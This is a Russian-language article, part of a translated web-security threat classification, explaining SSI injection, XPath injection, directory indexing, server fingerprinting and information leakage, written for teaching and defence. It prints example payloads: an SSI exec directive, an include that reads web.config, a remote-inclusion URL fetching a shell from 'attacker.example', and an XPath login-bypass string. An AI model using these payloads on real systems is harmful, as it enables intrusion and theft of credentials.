безопасность


Классификация угроз безопасности web-серверов. Часть 4

4.6. Внедрение серверных расширений (SSI Injection)

Атаки данного класса позволяют злоумышленнику передать исполняемый код, который в дальнейшем будет выполнен на web-сервере. Уязвимости, приводящие к возможности осуществления данных атак, обычно заключаются в отсутствии проверки данных, предоставленных пользователем, перед сохранением их в интерпретируемом сервером файле. Перед генерацией HTML-страницы сервер может выполнять сценарии, например, Server-site Includes (SSI). В некоторых ситуациях исходный код страниц генерируется на основе данных, предоставленных пользователем. Если атакующий передает серверу операторы SSI, он может получить возможность выполнения команд операционной системы или включить в нее запрещенное содержимое при следующем отображении. Вот и пример: выражение < !--#exec cmd="/bin/ls /" — > будет интерпретировано в качестве команды, просматривающей содержимое каталога сервера в Unix-системах. Следующее выражение позволяет получить строки соединения с базой данных и другую чувствительную информацию, расположенную в файле конфигурации приложения .NET: <!--#INCLUDE VIRTUAL="/web.config"--> Другие возможности для атаки возникают, когда web- сервер использует в URL имя подключаемого файла сценариев, но должным образом его не верифицирует. В этом случае злоумышленник может создать на сервере файл и подключить его к выполняемому сценарию.

Предположим, web-приложение работает со ссылками, подобными следующей:
httр://portal.example/index.php?template=news $body = $_GET['page'] . ".php"; В ходе обработки этого запроса сценарий index.php подключает сценарий news.php и выполняет указанный в нем код. Злоумышленник может указать в качестве URL
httр://portal.example/index.php?template=httр://attacker.example/phpshell, и сценарий phpshell будет загружен с сервера злоумышленника и выполнен на сервере с правами web-сервера. Если на сервере предусмотрена функция сохранения документов пользователя, злоумышленник может предварительно сохранить необходимый сценарий и вызвать его через функцию подключения
(httр://portal.example/index.php?template=users/uploads/phpshell) или напрямую (httр://portal.example/users/uploads/phpshell.php).

4.7. Внедрение операторов XPath (XPath Injection)

Эти атаки направлены на web-серверы, создающие запросы на языке XPath на основе данных, вводимых пользователем. Язык XPath 1.0 разработан для предоставления возможности обращения к частям документа на языке XML. Он может быть использован непосредственно либо в качестве составной части XSLT-преобразования XML-документов, либо в качестве выполнения запросов XQuery. Синтаксис XPath близок к языку SQL-запросов. Предположим, что существует документ XML, содержащий элементы, соответствующие именам пользователей, каждый из которых содержит три элемента: имя, пароль и номер счета.

Следующее выражение на языке XPath позволяет определить номер счета пользователя "jsmith" с паролем "Demo1234":
string(//user[name/text()='jsmith' and
password/text()='Demo1234']/account/text())

Если запросы XPath генерируются во время исполнения на основе пользовательского ввода, у атакующего появляется возможность модифицировать запрос с целью обхода логики работы программы. Пример: предположим, что web-приложение использует XPath для запросов к документу XML для получения номеров счета пользователей, чье имя и пароль было передано клиентом. Если это приложение внедряет данные пользователя непосредственно в запрос, это приводит к возникновению уязвимости:

XmlDocument XmlDoc = new XmlDocument();
XmlDoc.Load("...");
XPathNavigator nav = XmlDoc.CreateNavigator();
XPathExpression expr =
nav.Compile("string(//user[name/text()='"+TextBox1.Text+"'
and password/text()='"+TextBox2.Text+
"']/account/text())");
String account=Convert.ToString(nav.Evaluate(expr));
if (account=="") {
// name+password pair is not found in the XML document
-
// login failed.
} else {
// account found -> Login succeeded.
// Proceed into the application.
}
В случае использования подобного кода злоумышленник может внедрить в запрос выражения на языке XPath, например, ввести в качестве имени пользователя следующее:
' or 1=1 or ''='
В этом случае запрос всегда будет возвращать счет первого пользователя в документе, поскольку будет выглядеть следующим образом:
string(//user[name/text()='' or 1=1 or ''='' and
password/text()='foobar']/account/text())
В результате злоумышленник получит доступ в систему от имени первого в документе XML пользователя, не предоставляя имени пользователя и пароля.

5. Разглашение информации (Information Disclosure)

Атаки данного класса направлены на получение дополнительной информации о web-приложении. Используя эти уязвимости, злоумышленник может определить используемые дистрибутивы ПО, номера версий клиента и сервера и установленные обновления. В других случаях в утекающей информации может содержаться расположение временных файлов или резервных копий. Во многих случаях эти данные не требуются для работы пользователя. Большинство серверов предоставляют доступ к чрезмерному объему данных, однако необходимо минимизировать объем служебной информации. Чем большими знаниями о приложении будет располагать злоумышленник, тем легче ему будет скомпрометировать систему.

5.1. Индексирование директорий (Directory Indexing)

Предоставление списка файлов в директории представляет собой нормальное поведение web-сервера, если страница, отображаемая по умолчанию (index.html/home.html/default.htm) отсутствует. Когда пользователь запрашивает основную страницу сайта, он обычно указывает доменное имя сервера без имени конкретного файла (httр://www.example). Сервер просматривает основную папку, находит в ней файл, используемый по умолчанию, и на его основе генерирует ответ. Если такой файл отсутствует, в качестве ответа может вернуться список файлов в директории сервера. Эта ситуация аналогична выполнению команды "ls" (Unix) или "dir" (Windows) на сервере и форматированию результатов в виде HTML. В этом случае злоумышленник может получить доступ к данным, не предназначенным для свободного доступа.

Довольно часто администраторы полагаются на "безопасность через сокрытие", предполагая, что раз гиперссылка на документ отсутствует, то он недоступен непосвященным. Современные сканеры уязвимостей — такие, как Nikto — могут динамически добавлять файлы и папки к списку сканируемых в зависимости от результатов запросов. Используя содержимое /robots.txt или полученного списка директорий, сканер может найти спрятанное содержимое или другие файлы. Таким образом, внешне безопасное индексирование директорий может привести к утечке важной информации, которая в дальнейшем будет использована для проведения атак на систему. Пример: используя индексирование директорий, можно получить доступ к следующим данным:

— Резервные копии ( .bak, .old or, .orig).
— Временные файлы. Такие файлы должны удаляться сервером автоматически, но иногда остаются доступными.
— Спрятанные файлы, название которых начинается с символа ".".
— Соглашение об именах. Эта информация может помочь предсказать имена файлов или директорий (admin или Admin, back-up или backup).
— Список пользователей сервера. Очень часто для каждого из пользователей создается папка с именем, основанным на названии учетной записи. — Имена файлов конфигурации (.conf, .cfg or .config).
— Содержимое серверных сценариев или исполняемых файлов в случае неверно указанных расширений или разрешений.

Могут использоваться три основных сценария получения списка файлов:
1. Ошибки конфигурации. Подобные проблемы возникают, когда администратор ошибочно указывает в конфигурации сервера эту опцию. Подобные ситуации часто возникают при настройке сложных конфигураций, где некоторые папки должны быть доступны для просмотра. С точки зрения злоумышленника запрос не отличается от указанного раньше. Он просто обращается к директории и анализирует результат. Его не беспокоит, почему сервер ведет себя подобным образом.

2. Некоторые компоненты web-сервера позволяют получать список файлов, даже если это не разрешено в конфигурационных файлах. Обычно это возникает в результате ошибок реализации, когда сервер генерирует список файлов при получении определенного запроса.

3. Базы данных поисковых машин (Google, Wayback machine) могут содержать кэш старых вариантов сервера включая списки файлов.

5.2. Идентификация приложений (Web Server/Application Fingerprinting)

Определение версий приложений используется злоумышленником для получения информации об используемых сервером и клиентом операционных системах, web-северах и браузерах. Также эта атака может быть направлена на другие компоненты web-приложения, например, службу каталога или сервер баз данных или используемые технологии программирования. Обычно подобные атаки осуществляются путем анализа различной информации, предоставляемой web-сервером, например:
Особенности реализации протокола HTTP.
Заголовки HTTP-ответов.
Используемые сервером расширения файлов (.asp или .jsp).
Значение Cookie (ASPSESSION и т.д.).
Сообщения об ошибках.
Структура каталогов и используемое соглашение об именах (Windows/Unix).
Интерфейсы поддержки разработки web-приложений (Frontpage/WebPublisher).
Интерфейсы администрирования сервера (iPlanet/Comanche).
Определение версий операционной системы.

Для определения версий клиентских приложений обычно используется анализ HTTP-запросов (порядок следования заголовков, значение User-agent и т.д.). Однако для этих целей могут применяться и другие техники. Так, например, анализ заголовков почтовых сообщений, созданных с помощью клиента Microsoft Outlook, позволяет определить версию установленного на компьютере браузера Internet Explorer. Наличие детальной и точной информации об используемых приложениях очень важно для злоумышленника, поскольку реализация многих атак (например, переполнения буфера) специфично для каждого варианта операционной системы или приложения. Кроме того, детальная информация об инфраструктуре позволяет снизить количество ошибок, и как следствие — общий «шум», производимый атакующим. Данный факт отмечен в HTTP RFC 2068, рекомендующем, чтобы значение заголовка Server HTTP ответа являлось настраиваемым параметром. Примеры: сообщения об ошибках — сервером Apache ошибка 404 обозначается фразой "Not Found", в то время как IIS 5.0 отвечает сообщением "Object Not Found".

# telnet target1.com 80
Trying target1.com...
Connected to target1.com.
Escape character is '^]'.
HEAD /non-existent-file.txt HTTP/1.0

HTTP/1.1 404 Not Found
Date: Mon, 07 Jun 2004 14:31:03 GMT
Server: Apache/1.3.29 (Unix)
mod_perl/1.29
Connection: close
Content-Type: text/html; charset=iso-
8859-1

Синтаксис заголовков также может отличаться. Например, использование строчных или заглавных букв в названии параметров ("Content-Length" в IIS или "Content-length" в Netscape-Enterprise/6.0). Несмотря на требования HTTP RFC, существуют семантические особенности при генерации заголовков различными серверами. Например, Apache передает параметр Date перед значением заголовка Server, в то время как IIS использует обратный порядок. Порядок значений параметров также может отличаться. Например, при обработке запроса OPTIONS Apache возвращает только параметр Allow, в то время как IIS дополнительно включает параметр Public. Аналогичным образом может анализироваться наличие опциональных заголовков (Vary, Expires и т.д.) и реакция сервера на неверные запросы ("GET //", "GET/%2f" и т.д.).

5.3. Утечка информации (Information Leakage)

Эти уязвимости возникают в ситуациях, когда сервер публикует важную информацию, например, комментарии разработчиков или сообщения об ошибках, которая может быть использована для компрометации системы. Ценные с точки зрения злоумышленника данные могут содержаться в комментариях HTML, сообщениях об ошибках или просто присутствовать в открытом виде. Существует огромное количество ситуаций, в которых может произойти утечка информации. Она не обязательно приводит к возникновению уязвимости, но часто дает атакующему прекрасное пособие для развития атаки. С утечкой важной информации могут возникать риски различной степени, поэтому необходимо минимизировать количество служебной информации, доступной на клиентской стороне.

Анализ доступной информации позволяет злоумышленнику произвести разведку и получить представление о структуре директорий сервера, используемых SQL-запросах, названиях ключевых процессов и программ сервера. Часто разработчики оставляют комментарии в HTML-страницах и коде сценариев для облегчения поиска ошибок и поддержки приложения. Эта информация может варьироваться от простых описаний деталей функционирования программы до (в худших случаях) имен пользователей и паролей, используемых при отладке. Утечка информации может относиться и к конфиденциальным данным, обрабатываемым сервером. Это могут быть идентификаторы пользователя (ИНН, номера водительских удостоверений, паспортов и т.д.), а также текущая информация (баланс лицевого счета или история платежей). Многие атаки этой категории выходят за рамки защиты web- приложений и переходят в область физической безопасности. Утечка информации в этом случае часто возникает, когда в браузере отображается информация, которая не должна выводиться в открытом виде даже пользователю. В качестве примера можно привести пароли пользователя, номера кредитных карточек и т.д. Данный пример хорошо поясняют три основные категории утечки информации: комментарии разработчиков, сообщения об ошибках и отображение конфиденциальной информации. Ниже приведен комментарий разработчиков, который указывает на то, что в случае проблем с загрузкой изображений необходимо перезагрузить сервер VADER:

<TABLE border="0" cellPadding="0" cellSpacing="0"
height="59" width="591">
<TBODY>
<TR>
<!--If the image files are missing,
restart VADER -->
<TD bgColor="#ffffff" colSpan="5"
height="17" width="587"> </TD>
</TR>

Подробные сообщения об ошибках могут возникать в результате специально сформированного запроса. Ниже приведен пример сообщения, типичного для ошибки, возникающей в результате SQL-запроса. Для реализации атаки с внедрением кода SQL обычно требуется знание структуры запросов, осуществляемых web-сервером. Информация, передаваемая в подробной информации об ошибке, может быть использована для построения атакующим корректных запросов к серверу баз данных. Ниже приведено сообщение, выдаваемое сервером при вводе символа апострофа в качестве имени пользователя:

An Error Has Occurred.
Error Message:
System.Data.OleDb.OleDbException: Syntax error (missing
operator) in query expression 'username = ''' and password =
'g''. at
System.Data.OleDb.OleDbCommand.ExecuteCommandTextErrorHandling (
Int32 hr) at
System.Data.OleDb.OleDbCommand.ExecuteCommandTextForSingleResult
( tagDBPARAMS dbParams, Object& executeResult) at

В первой части сообщения выводится часть запроса, вызвавшего ошибку. По этой информации злоумышленник может получить сведения об
используемых параметрах запроса и месте запроса, в котором осуществляется внедрение кода.

Продолжение следует.
Ориг. класс. Web Application Security Consortium



Бойцев О.М., boyscout_zone@yahoo.com

© компьютерная газета